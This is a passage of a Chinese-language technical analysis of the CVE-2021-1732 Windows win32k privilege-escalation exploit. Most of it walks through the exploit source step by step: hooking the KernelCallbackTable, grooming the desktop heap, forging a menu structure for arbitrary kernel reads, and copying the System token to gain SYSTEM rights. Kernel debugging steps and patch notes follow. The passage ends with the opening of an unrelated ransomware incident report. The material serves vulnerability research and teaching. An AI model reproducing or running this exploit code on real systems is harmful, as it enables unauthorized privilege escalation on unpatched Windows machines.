200 – 204 行将 KernelCallbackTable 的 123、124 项替换成自己的挂钩函数：
DWORD dwOldProtect = 0;
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 给 KernelCallbackTable 所在的内存添加可写权限
*(ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3D8) = (ULONG_PTR)MyxxxClientAllocWindowClassExtraBytes; // hook 123 项
*(ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3E0) = (ULONG_PTR)MyxxxClientFreeWindowClassExtraBytes; // hook 124 项，调试用
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect); // 还原内存权限
第 123 项的 hook 函数等到下面用到时再贴出来。第 124 项的 hook 应该是作者为了调试 EXP 而加的，其 hook
函数原封不动地调用了原函数：
NTSTATUS WINAPI MyxxxClientFreeWindowClassExtraBytes(PVOID pInfo)
{
PVOID pAddress = *(PVOID*)((PBYTE)pInfo + 8);
return g_fxxxClientFreeWindowClassExtraBytes(pInfo); // 调用原函数
}
### 4.2 内存布局
206 – 221 行注册了两个窗口类，两个窗口类的主要区别是 cbWndExtra 的大小：
ATOM atom1, atom2 = 0;
WNDCLASSEX WndClass = { 0 };
WndClass.cbSize = sizeof(WNDCLASSEX);
WndClass.lpfnWndProc = DefWindowProc; // 使用默认窗口过程
WndClass.style = CS_VREDRAW| CS_HREDRAW;
WndClass.cbWndExtra = 0x20; // Class1 窗口扩展内存的大小为 0x20
WndClass.hInstance = hInstance;
WndClass.lpszMenuName = NULL;
WndClass.lpszClassName = L"Class1"; // 窗口类名为 Class1
atom1 = RegisterClassEx(&WndClass); // 注册 Class1
WndClass.cbWndExtra = g_dwMyWndExtra; // Class2 窗口扩展内存的大小为 0x1234
WndClass.hInstance = hInstance;
WndClass.lpszClassName = L"Class2"; // 窗口类名为 Class2
atom2 = RegisterClassEx(&WndClass); // 注册 Class2
223 – 287 行通过创建/销毁窗口，正式进行内核桌面堆布局：
ULONG_PTR dwpWnd0_to_pWnd1_kernel_heap_offset = 0;
for (int nTry = 0; nTry < 5; nTry++) { // 最多尝试 5 次内存布局
HMENU hMenu = NULL;
HMENU hHelpMenu = NULL;
// 创建 50 个窗口
for (int i = 0; i < 50; i++) {
if (i == 1) { // i = 1 时创建一个菜单 hMenu
hMenu = CreateMenu();
hHelpMenu = CreateMenu();
AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")); // 准备一个 Item
AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")); // 为菜单添加 Item
}
g_hWnd[i] = CreateWindowEx(NULL, L"Class1", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL); // 创建窗口，只有窗口 0 没有菜单
g_pWnd[i] = (ULONG_PTR)fHMValidateHandle(g_hWnd[i], 1); // 泄露每个窗口 tagWNDk 在用户空间的映射指针
}
// 销毁掉后 48 个窗口，使它们 tagWNDk 占用的桌面堆块处于空闲状态，再创建窗口时很有可能再用到这些空闲的堆块
for (int i = 2; i < 50; i++) {
if (g_hWnd[i] != NULL) {
DestroyWindow((HWND)g_hWnd[i]);
}
}
// ptagWNDk + 8 保存了 tagWNDk 相对于桌面堆基址的偏移
g_dwpWndKernel_heap_offset0 = *(ULONG_PTR*)((PBYTE)g_pWnd[0] + g_dwKernel_pWnd_offset);
g_dwpWndKernel_heap_offset1 = *(ULONG_PTR*)((PBYTE)g_pWnd[1] + g_dwKernel_pWnd_offset);
// 对窗口 0 调用 ConsoleControl，使其 pExtraBytes 处于 offset 间接寻址模式
ULONG_PTR ChangeOffset = 0;
ULONG_PTR ConsoleCtrlInfo[2] = { 0 }; // 参数长度为 0x10 字节
ConsoleCtrlInfo[0] = (ULONG_PTR)g_hWnd[0]; // 参数信息的第一个 8 字节存放窗口句柄
ConsoleCtrlInfo[1] = (ULONG_PTR)ChangeOffset; // 第二个 8 字节对利用没有影响
NTSTATUS ret1 = g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo)); // 功能 6
// 现在窗口 0 重新在桌面堆申请了一片空间作为扩展内存，pExtraBytes 存储其相对于桌面堆基址的偏移
dwpWnd0_to_pWnd1_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);
if (dwpWnd0_to_pWnd1_kernel_heap_offset < g_dwpWndKernel_heap_offset1) { // 需要保证这片新空间地址小于窗口 1 tagWNDk 结构体所在的地址，这样才能通过窗口 0 扩展内存越界修改 tagWNDk1
dwpWnd0_to_pWnd1_kernel_heap_offset = (g_dwpWndKernel_heap_offset1 - dwpWnd0_to_pWnd1_kernel_heap_offset); // 记下它们之间的偏移
break; // 退出循环
}
else {
// 如果进了 else，说明这次内存布局失败，回收所有资源
if (g_hWnd[0] != NULL) {
DestroyWindow((HWND)g_hWnd[0]);
}
if (g_hWnd[1] != NULL) {
DestroyWindow((HWND)g_hWnd[1]);
if (hMenu != NULL) {
DestroyMenu(hMenu);
}
if (hHelpMenu != NULL) {
DestroyMenu(hHelpMenu);
}
}
}
dwpWnd0_to_pWnd1_kernel_heap_offset = 0; // 重新设置该变量值为 0，进入下次内存布局尝试
}
if (dwpWnd0_to_pWnd1_kernel_heap_offset == 0) { // 5 次尝试都失败了，退出程序
std::cout << "Memory layout fail. quit" << std::endl;
system("pause");
return 0;
}
// 创建窗口 2，期间调用 hook 函数时，会将 pExtraBytes 改为 offset 间接寻址模式，并赋值为 tagWNDk0 相对于桌面堆基址的偏移
HWND hWnd2 = CreateWindowEx(NULL, L"Class2", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL);
PVOID pWnd2 = fHMValidateHandle(hWnd2, 1); // 泄露 tagWNDk2 在用户空间的映射指针
KernelCallbackTable 的 123 项之前被替换成自定义的 hook 函数：
NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(unsigned int* pSize)
{
if (*pSize == g_dwMyWndExtra) { // 只有参数为 0x1234 时，才进行操作。即只有 286 行创建 Class2 的窗口时才会进到这里
ULONG_PTR ululValue = 0;
HWND hWnd2 = NULL;
// 搜索释放掉的后 48 个窗口对应的 tagWNDk，寻找新窗口的 tagWNDk 复用了哪个地址（这里应该是 i < 50，不过无伤大雅）
for (int i = 2; i < 48; i++) {
ULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + g_cbWndExtra_offset); // 取来每个 cbWndExtra
if (cbWndExtra == g_dwMyWndExtra) { // 找到新窗口的 tagWNDk
hWnd2 = (HWND)*(ULONG_PTR*)(g_pWnd[i]); // &tagWNDk + 0 存放窗口句柄
break;
}
}
if (hWnd2 == NULL) {
// 到这里说明新窗口 tagWNDk 没有复用之前的空间，则输出错误信息，这里再加个结束程序会好些
std::cout << "Search free 48 kernel mapping desktop heap (cbwndextra == g_dwMyWndExtra) points to hWnd fail." << std::endl;
}
else {
std::cout << "Search kernel mapping desktop heap points to hWnd: " << std::hex << hWnd2 << std::endl;
}
// 对新窗口（窗口 2）调用 ConsoleControl，使其 pExtraBytes 处于 offset 间接寻址模式
ULONG_PTR ConsoleCtrlInfo[2] = { 0 };
ConsoleCtrlInfo[0] = (ULONG_PTR)hWnd2; // 第一个 8 字节放窗口句柄
ConsoleCtrlInfo[1] = ululValue; // 0
NTSTATUS ret = g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));
ULONG_PTR Result[3] = { 0 }; // 返回信息长度为 0x18
Result[0] = g_dwpWndKernel_heap_offset0; // 第一个 8 字节会被用于赋值 pExtraBytes
return g_fFNtCallbackReturn(&Result, sizeof(Result), 0); // tagWNDk2.pExtraBytes 语义上指向 tagWNDk0
}
return g_fxxxClientAllocWindowClassExtraBytes(pSize); // 238 行创建 50 个 Class1 的窗口时，都直接调用原函数
}
至此布局完毕，桌面堆长这样：
### 4.3 任意地址读的实现及封装
289 – 306 行使得我们具有任意地址读的能力：
SetWindowLong(hWnd2, g_cbWndExtra_offset, 0x0FFFFFFFF); // 将 tagWNDk0.cbWndExtra 改为很大的值，窗口 0 的扩展内存可以越界写
// 想要使用 SetWindowLongPtr 修改 spMenu 的功能（-12），tagWNDk.dwStyle 需要带有 WS_CHILD 属性
ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);
ululStyle |= 0x4000000000000000L;
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); // 对窗口 0 调用 SetWindowLongPtr，修改 tagWNDk1.dwStyle，使其带有 WS_CHILD
// 构造一个 tagMENU，参考 3.6.2 节
g_pMyMenu = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0xA0);
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x98) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x20); // spMenuk
**(ULONG_PTR**)((PBYTE)g_pMyMenu + 0x98) = g_pMyMenu; // spMenuk->pSelf
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x200); // unknown1
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x8); // rgItems
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) + 0x2C) = 1; // unknown1->cItems
*(DWORD*)((PBYTE)g_pMyMenu + 0x40) = 1; // unknown2
*(DWORD*)((PBYTE)g_pMyMenu + 0x44) = 2; // unknown3
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = 0x4141414141414141; // rgItems->unknown，用到的时候再初始化
// 修改窗口 1 的 spMenu，同时泄露原 spMenu
ULONG_PTR pSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pMyMenu);
// 调用 GetMenuBarInfo 时，tagWNDk.dwStyle 不能包含 WS_CHILD
ululStyle &= ~0x4000000000000000L;
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); // 移除窗口 1 的 WS_CHILD 样式
EXP 中通过函数 ReadKernelMemoryQQWORD 封装任意地址读功能，参数 pAddress 为要读的地址 p，ululOutVal1 和
ululOutVal2 存储读出来的 16 字节，其中 `ululOutVal1 = *(__int64 *)p`，`ululOutVal2 =
*(__int64 *)(p + 8)`，实现如下：
void ReadKernelMemoryQQWORD(ULONG_PTR pAddress, ULONG_PTR &ululOutVal1, ULONG_PTR &ululOutVal2)
{
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(MENUBARINFO);
RECT Rect = { 0 };
GetWindowRect(g_hWnd[1], &Rect); // 获取窗口 1 的 RECT 信息，用于计算读出的真实值
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = pAddress - 0x40; // rgItems->unknown
GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi); // 读取
BYTE pbKernelValue[16] = { 0 };
*(DWORD*)(pbKernelValue) = mbi.rcBar.left - Rect.left; // 减去 Rect.left，创建窗口时，该值被指定为 0
*(DWORD*)(pbKernelValue + 4) = mbi.rcBar.top - Rect.top; // 减去 Rect.top，创建窗口时，该值被指定为 0
*(DWORD*)(pbKernelValue + 8) = mbi.rcBar.right - mbi.rcBar.left;
*(DWORD*)(pbKernelValue + 0xc) = mbi.rcBar.bottom - mbi.rcBar.top;
ululOutVal1 = *(ULONG_PTR*)(pbKernelValue); // 成功读出 pAddress 开始的 16 字节
ululOutVal2 = *(ULONG_PTR*)(pbKernelValue + 8);
}
至于为什么要减去那四个值，再来回顾一下 xxxGetMenuBarInfo 中是怎么赋值 mbi 的。
### 4.4 泄露进程 EPROCESS 地址
312 – 320 行使用了 **3.6.3 节** 第一种方法来泄露：
ULONG_PTR ululValue1 = 0, ululValue2 = 0;
// **(__int64 **)(*(__int64 *)(spMenu + 0x18) + 0x100) 为进程 EPROCESS 结构体地址
ReadKernelMemoryQQWORD(pSPMenu + 0x18, ululValue1, ululValue2);
ReadKernelMemoryQQWORD(ululValue1 + 0x100, ululValue1, ululValue2);
ReadKernelMemoryQQWORD(ululValue1, ululValue1, ululValue2);
ULONG_PTR pMyEProcess = ululValue1;
std::cout<< "Get current kernel eprocess: " << pMyEProcess << std::endl; // 输出 EPROCESS 地址到控制台
### 4.5 进程权限提升
322 – 347 行遍历 EPROCESS->ActiveProcessLinks 链表，找到 System 进程，将其 Token 复制到当前进程：
ULONG_PTR pSystemEProcess = 0;
ULONG_PTR pNextEProcess = pMyEProcess;
for (int i = 0; i < 500; i++) { // 用 do...whlie 循环遍历更优
ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_ActiveProcessLinks_offset, ululValue1, ululValue2); // 读出 pEPROCESS->ActiveProcessLinks.Flink 的值
pNextEProcess = ululValue1 - g_dwEPROCESS_ActiveProcessLinks_offset; // 减去 ActiveProcessLinks 字段在 EPROCESS 结构体中的偏移，得到下一个进程 EPROCESS 结构体首地址
// 读取下一个进程 pid
ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_UniqueProcessId_offset, ululValue1, ululValue2);
ULONG_PTR nProcessId = ululValue1;
if (nProcessId == 4) { // pid 为 4，说明找到了 System 进程
pSystemEProcess = pNextEProcess;
std::cout << "System kernel eprocess: " << std::hex << pSystemEProcess << std::endl; // 输出信息
// 读取 System 进程的 Token
ReadKernelMemoryQQWORD(pSystemEProcess + g_dwEPROCESS_Token_offset, ululValue1, ululValue2);
ULONG_PTR pSystemToken = ululValue1;
ULONG_PTR pMyEProcessToken = pMyEProcess + g_dwEPROCESS_Token_offset;
// 参考 3.6.1 节，通过任意地址写，替换当前进程的 Token 为 System Token
LONG_PTR old = SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pMyEProcessToken); // 修改 tagWNDk1.pExtraBytes 为当前进程 &pEPROCESS->Token
SetWindowLongPtr(g_hWnd[1], 0, (LONG_PTR)pSystemToken); // 窗口 1 的 pExtraBytes 处于直接寻址模式
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)old); // 还原 tagWNDk1.pExtraBytes 旧值
break;
}
}
### 4.6 扫尾工作
350 – 374 行恢复了被修改的各结构体字段，防止蓝屏的发生：
g_dwpWndKernel_heap_offset2 = *(ULONG_PTR*)((PBYTE)pWnd2 + g_dwKernel_pWnd_offset); // tagWNDk2 相对于桌面堆基址的偏移
ULONG_PTR dwpWnd0_to_pWnd2_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128); // tagWNDk0 在桌面堆上的扩展内存相对于桌面堆基址的偏移
if (dwpWnd0_to_pWnd2_kernel_heap_offset < g_dwpWndKernel_heap_offset2) { // tagWNDk2 需在二者中较高的地址
dwpWnd0_to_pWnd2_kernel_heap_offset = (g_dwpWndKernel_heap_offset2 - dwpWnd0_to_pWnd2_kernel_heap_offset); // 计算二者的偏移
// 去掉 ptagWNDk2->dwExtraFlag 的 0x800 属性，pExtraBytes 改回直接寻址模式
DWORD dwFlag = *(ULONGLONG*)((PBYTE)pWnd2 + g_dwModifyOffsetFlag_offset);
dwFlag &= ~0x800;
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffsetFlag_offset, dwFlag);
// 在用户空间堆中申请一片空间来赋值 ptagWNDk2->pExtraBytes
PVOID pAlloc = g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, g_dwMyWndExtra);
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pAlloc);
// 还原 ptagWNDk1->spMenu 时，ptagWNDk1->dwStyle 需要带有 WS_CHILD 属性
ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);
ululStyle |= 0x4000000000000000L;
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); // 为窗口 1 添加 WS_CHILD 样式
// 使用 SetWindowLongPtr 自带功能（-12）还原 ptagWNDk1->spMenu
ULONG_PTR pMyMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)pSPMenu);
// 这里应该释放伪造 tagMENU 时申请的那些空间，因为没有后续利用，写不写倒是无所谓
// 移除窗口 1 的 WS_CHILD 样式
ululStyle &= ~0x4000000000000000L;
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle);
std::cout << "Recovery bug prevent blue screen." << std::endl;
}
376 – 388 行释放剩余的资源，EXP 至此结束：
DestroyWindow(g_hWnd[0]);
DestroyWindow(g_hWnd[1]);
DestroyWindow(hWnd2);
// 232、233 行创建的两个菜单还没有释放！
if (pSystemEProcess != NULL) {
std::cout << "CVE-2021-1732 Exploit success, system permission" << std::endl;
}
else {
std::cout << "CVE-2021-1732 Exploit fail" << std::endl;
}
system("pause");
return (int)0;
* * *
## 05 动态调试
### 5.1 双机调试环境搭建[20]
确保你有一个 Win10 1809 的虚拟机，如果没有，可以参考 **2.1 节** 。
接着从 github 下载最新版 VirtualKD-Redux[21]：
解压后将 **target64 文件夹** 复制到虚拟机内，在虚拟机里以管理员身份运行文件夹中的 **vminstall.exe** ，点击 Install
按钮：
弹出的警告无视掉，然后重启虚拟机（选 **是** 会自动重启）。启动界面会让你选择启动项，选到我们新加的启动项 **按下 F8** ，选择
**禁用驱动程序强制签名** 并按下回车：
等待进入桌面后（ **建议重新拍摄一个快照** ），在 **宿主机** 中运行 VirtualKD-Redux 文件夹下的 **vmmon64.exe**
，设置 WinDbg 调试器的路径（如果没有安装 WinDbg，可以参考微软官方文档[22]）：
点击 Run debugger 就会弹出 WinDbg（以后再调试都会自动弹出），按 WinDbg 上方的暂停按键就可以断下来了：
下方命令行输入 g，虚拟机就可以继续运行了， **后面再想中断，可以按 WinDbg 上方的暂停按键** 。
最后是设置 WinDbg 使用的符号路径[23]，需要添加一个 _NT_SYMBOL_PATH 系统环境变量，值为
`srv*path\to\your\local\folder*https://msdl.microsoft.com/download/symbols`，两个星号中间部分替换为你的本地文件夹（WinDbg
将自动从微软符号服务器下载 pdb 文件到这个文件夹中）：
**重启 WinDbg 后生效** 。
### 5.2 IDA 加载 pdb 文件
以 ExploitTest.exe 为例，使用 IDA 加载 ExploitTest.exe 后，选择上方的 File -> Load file ->
PDB file，选择 pdb 路径：
加载完毕后，左侧函数窗口就能看到符号了：
### 5.3 调试某一进程
以 ExploitTest.exe 为例，在虚拟机中运行 ExploitTest.exe ，WinDbg 中按下暂停后首先找到进程的 EPROCESS
地址：
kd> !process 0 0 ExploitTest.exe
PROCESS ffffc90f5867c080
SessionId: 1 Cid: 08c0 Peb: 00298000 ParentCid: 0eb8
DirBase: 62300002 ObjectTable: ffffdd89449bd940 HandleCount: 56.
Image: ExploitTest.exe
使用 .process 指令与找到的 EPROCESS 地址切换到该进程的地址空间：
kd> .process /i /p ffffc90f5867c080
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
然后 g 运行一下，WinDbg 会切换进程并断在 ExploitTest.exe 进程中：
kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff801`10dc7cc0 cc int 3
最后重新加载符号：
kd> !sym noisy
noisy mode - symbol prompts on
kd> .reload /f
Loading User Symbols
... 等待其从微软符号服务器下载符号
可以看到加载了的模块都有对应的 pdb 了：
现在就可以：
* 1.根据 IDA 上看到的地址来下断点（之前编译的时候已经关闭了随机基址，参考 **2.2 节** ）
* 2.加载源码进行调试
对于第二种调试方法，选择 WinDbg 上方 File -> Open Source File，加载
CVE-2021-1732_Exploit.cpp，即可在源码窗口下断点：
### 5.4 获取 pdb 文件
对于调试过程中被调试进程已经加载了的模块，可以通过 `.reload /f` 指令来下载（上一部分已提及）。想要获得未加载模块的 pdb
文件，可以先在虚拟机中找到该模块，将其复制到宿主机中，再通过 WinDbg 同级目录下的 symchk.exe 来下载。
以 win32kfull.sys 为例，该驱动位于 C:\Windows\System32 目录下：
拷贝到宿主机后，找到 WinDbg 所在目录，使用 symchk 并指定 win32kfull.sys 路径：
之后就能在符号缓存目录下找到 pdb 了：
### 5.5 exp 关键点动态调试
> 5.5.1 挂钩 user32!_xxxClientAllocWindowClassExtraBytes
202 行下断点，运行到此处，先查看原 KernelCallbackTable[123] 表项，其指向
user32!_xxxClientAllocWindowClassExtraBytes：
步过后，该项被改为我们的挂钩函数：
> 5.5.2 内存布局情况
运行到 286 行，在 `win32kfull!xxxCreateWindowEx+1182` 下个断点，r15 为 tagWND2 的地址（IDA
查看函数偏移可以在 Options -> General 中勾选 Function offsets）：
访问 `*(*(&tagWND + 0x18) + 0x80)` 得到桌面堆基址 0xffff892a81000000：
通过 EXP 的 g_pwnd 数组 0、1 两项可以获取到 tagWNDk0、tagWNDk1 相对于桌面堆的偏移：
故 tagWNDk0 地址为 0xffff892a81030bc0，tagWNDk1 地址为 0xffff892a81033b10，tagWNDk2 地址为
0xffff892a81033c60。继续运行到执行流返回 EXP 的 287 行，现在窗口 0 和窗口 2 的 pExtraBytes 均处于
offset 间接寻址模式，来看看他们的扩展内存在哪里：
可以看到，窗口 0 的扩展内存处于较低的地址，窗口 2 的扩展内存语义上指向了 tagWNDk0 ，这样的内存布局正符合我们的期望：
> 5.5.3 泄露 EPROCESS 地址
运行到 293 行，在 `win32kfull!xxxSetWindowLongPtr` 下断点，第一个参数为 tagWND0 的地址，保存在 rcx
寄存器：
运行到 306 行，同样在 `win32kfull!xxxSetWindowLongPtr` 下断点，第一个参数为 tagWND1 的地址，同样保存在
rcx 寄存器：
tagWND1 原来的 spMenu：
继续执行直到执行流返回 309 行，tagWND1.spMenu 就被修改为指向我们伪造的 tagMENU 结构体了：
接着 EXP 会通过三次 GetMenuBarInfo 来泄露进程 EPROCES 地址，让程序运行到读取完毕的 320 行，验证地址的正确性：
> 5.5.4 权限提升
让程序执行到 339 行，验证找到的 System 进程 EPROCESS 地址：
可以得知 System Token 为 **0xffff9209cb20604a** ，且此时 tagWNDk1.pExtraBytes 处于直接寻址模式：
当前进程原来的 Token 为 0xffff9209d2acc067：
执行到 350 行（使用任意地址写能力修改当前进程 Token 结束后），再查看当前进程的 Token：
成功更换令牌，实现提权。
* * *
## 06 补丁分析
由于官网[24]上的补丁包我打不上，索性就用已经打满补丁的（4 月的包也更新了）Windows10 20H2 x64 宿主机来看吧，补丁打在了
win32kfull!xxxCreateWindowEx：
* * *
## 07 结语
完结撒花，感谢你耐心的阅读！如果前面的每个部分都细看了，那么相信现在你已经对 CVE 2021-1732 了若指掌了，恭喜你！同时也特别感谢 Kernel
Killer 的 EXP 开发文档[5] 和 iamelli0t
的漏洞分析博客[12]，这两篇文章数次拯救我于水深火热（大脑短路）之中。除此之外，我还推荐一篇奇安信威胁情报中心发的文章[10]，其作者详细分析了在野攻击样本，满篇的动态调试弥补了本文动调方面的不足。
其实一开始我还想拿一个版块来写 KaLendsi[4] 的 EXP 分析，奈何本人精力有限，这篇不到 16000 字的 CVE
分析已经耗费了我大量的心血，虽然这可能与我第一次做 Windows 内核漏洞利用的分析有关（笑）。如果你阅读了 KaLendsi 的
EXP，劳烦你告知我他的做法，谢谢！而如果你有心去阅读 KaLendsi 的 EXP，本文已经给你提供了足够的能力，也希望你读懂后能与我交流 ~
最后我想说，即使校对了 3 遍，我还是不能打包票 ——
本文不存在笔误，毕竟我在各参考文献中就发现了不少的错误，这一点望读者海涵。如果我哪里写错而误导了你，请务必告知我以便及时修正，届时求轻喷呜呜呜
* * *
## 08 参考资料
[1] [MSRC: Windows Win32k 特权提升漏洞公告](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732)
[2]
[0Day攻击！首次发现蔓灵花组织在针对国内的攻击活动中使用Windows内核提权0Day漏洞（CVE-2021-1732）](https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack-cn/)
[3] [Github: k-k-k-k-k/CVE-2021-1732](https://github.com/k-k-k-k-k/CVE-2021-1732)
[4] [Github:
KaLendsi/CVE-2021-1732-Exploit](https://github.com/KaLendsi/CVE-2021-1732-Exploit)
[5] [[原创]CVE-2021-1732 Microsoft Windows10
本地提权漏洞研究及Exploit开发](https://bbs.pediy.com/thread-266362.htm)
[6] [WNDCLASSEXA structure (winuser.h)](https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/ns-winuser-wndclassexa)
[7] [CreateWindowExW function (winuser.h)](https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-createwindowexw)
[8] [Win10 tagWnd partial member reverse (window hidden, window
protected)](https://www.programmersought.com/article/89797235329/)
[9] [Part 18: Kernel Exploitation -> RS2 Bitmap
Necromancy](https://www.fuzzysecurity.com/tutorials/expDev/22.html)
[10] [Microsoft Windows提权漏洞 (CVE-2021-1732)
分析](https://www.secrss.com/articles/29758)
[11] [[原创]KeUserModeCallback用法详解](https://bbs.pediy.com/thread-104918.htm)
[12] [CVE-2021-1732: win32kfull xxxCreateWindowEx callback out-of-bounds](https://iamelli0t.github.io/2021/03/25/CVE-2021-1732.html)
[13] [Windows源代码阅读之
句柄算法](https://blog.csdn.net/iiprogram/article/details/1494927)
[14] [A simple protection against HMValidateHandle
technique](https://theevilbit.github.io/posts/a_simple_protection_against_hmvalidatehandle_technique/)
[15] [GetMenuBarInfo function (winuser.h)](https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getmenubarinfo)
[16] [MENUBARINFO structure (winuser.h)](https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/ns-winuser-menubarinfo)
[17] [SetWindowLongPtrW function (winuser.h)](https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-setwindowlongptrw)
[18]
[通过ActiveProcessLinks遍历进程](https://blog.csdn.net/pureman_mega/article/details/78907058)
[19]
[使用AllocConsole在Win32程序中调用控制台调试输出](https://blog.csdn.net/qq_32619837/article/details/90711736)
[20] [使用VMware + win10 + VirtualKD +
windbg从零搭建双机内核调试环境](https://zhuanlan.zhihu.com/p/114538001)
[21] [Github: VirtualKD-Redux/release](https://github.com/4d61726b/VirtualKD-Redux/releases)
[22] [下载 Windows 调试工具](https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/debugger-download-tools)
[23] [使用符号服务器](https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/using-a-symbol-server)
[24] [Microsoft Update
Catalog](https://www.catalog.update.microsoft.com/Search.aspx?q=KB4601345) | 社区文章 |
# 国内企业遭遇勒索软件攻击事件及相关样本分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 事件背景
日前，国内某制造企业遭受勒索病毒攻击，造成核心生产网络、业务办公网络被勒索病毒加密，直接导致生产停工，中招主机被要求支付0.1个比特币的赎金。360企业安全接到用户应急求助后，第一时间赶赴现场，对该事件进行分析和溯源，现场快速定位、及时恢复数据，帮助用户降低损失。
分析显示攻击者采用了人工渗透定向攻击并推送多个恶意模块进行勒索，不排除攻击者对更多已经控制的内网系统下手，在此提醒用户对网络和终端进行安全排查，发现入侵迹象及时采取措施。以下为360威胁情报中心对现场所获取的勒索病毒的技术分析及防护处置建议，供不幸中招的用户参考，如需协助也可以联系360企业安全应急响应中心。
## 现场取证与事件分析
360企业安全应急响应安全专家通过对现场终端进行初步排查，发现客户终端主机被植入勒索病毒，导致无法进入操作系统。下图为被勒索的主机开机时的界面。
修复MBR后使用数据恢复软件恢复部分文件，在部分机器上对日志进行分析，发现其存在域控管理员登入记录。
经过排查，初步判断此次攻击事件由黑客入侵企业的备用域控，获得其账号密码，并在bat脚本中批量使用cmdkey命令来保存远程主机凭据到当前会话，随后调用psexec远程执行命令，向域中机器下发攻击文件进行勒索。
在此次应急响应过程中，我们发现了3个勒索恶意代码的相关样本：
勒索病毒名
|
功能说明
---|---
update3.exe
|
将勒索信息写入主机MBR，不会加密机器文件
update.exe
|
使用类似TEA的对称加密算法加密文件
update2.exe
|
使用libsodium-file-crypter开源项目开源代码加密文件
## 样本分析
360企业安全应急响应团队在完成初步摸排梳理工作后，对现场发现的3个勒索相关样本进行详细分析，具体如下：
三个样本初始执行的入口解密流程类似
解密出43163C处代码，并通过EnumWindowStation回调函数执行。
在第二阶段，样本通过映射NTDLL模块来获取所需API并逃避R3 HOOK。
判断样本是否在64位模式下运行。
反调试及虚拟机检测。
最后执行主要功能，如下描述。
### 1\. update3.exe – MBR锁屏
以读写的模式，打开计算机\\\\.\PhysicalDrive0、\\\\.\PhysicalDrive1、\\\\.\PhysicalDrive2、等磁盘写主机MBR勒索数据。
写入的MBR功能代码为，调用int 13中断，将扇区1-32从磁盘加载到内存0x8000开始的地址，然后转到0x8000执行指令：
设置屏幕的显示模式。
并调用int 10h中断显示骷髅头。
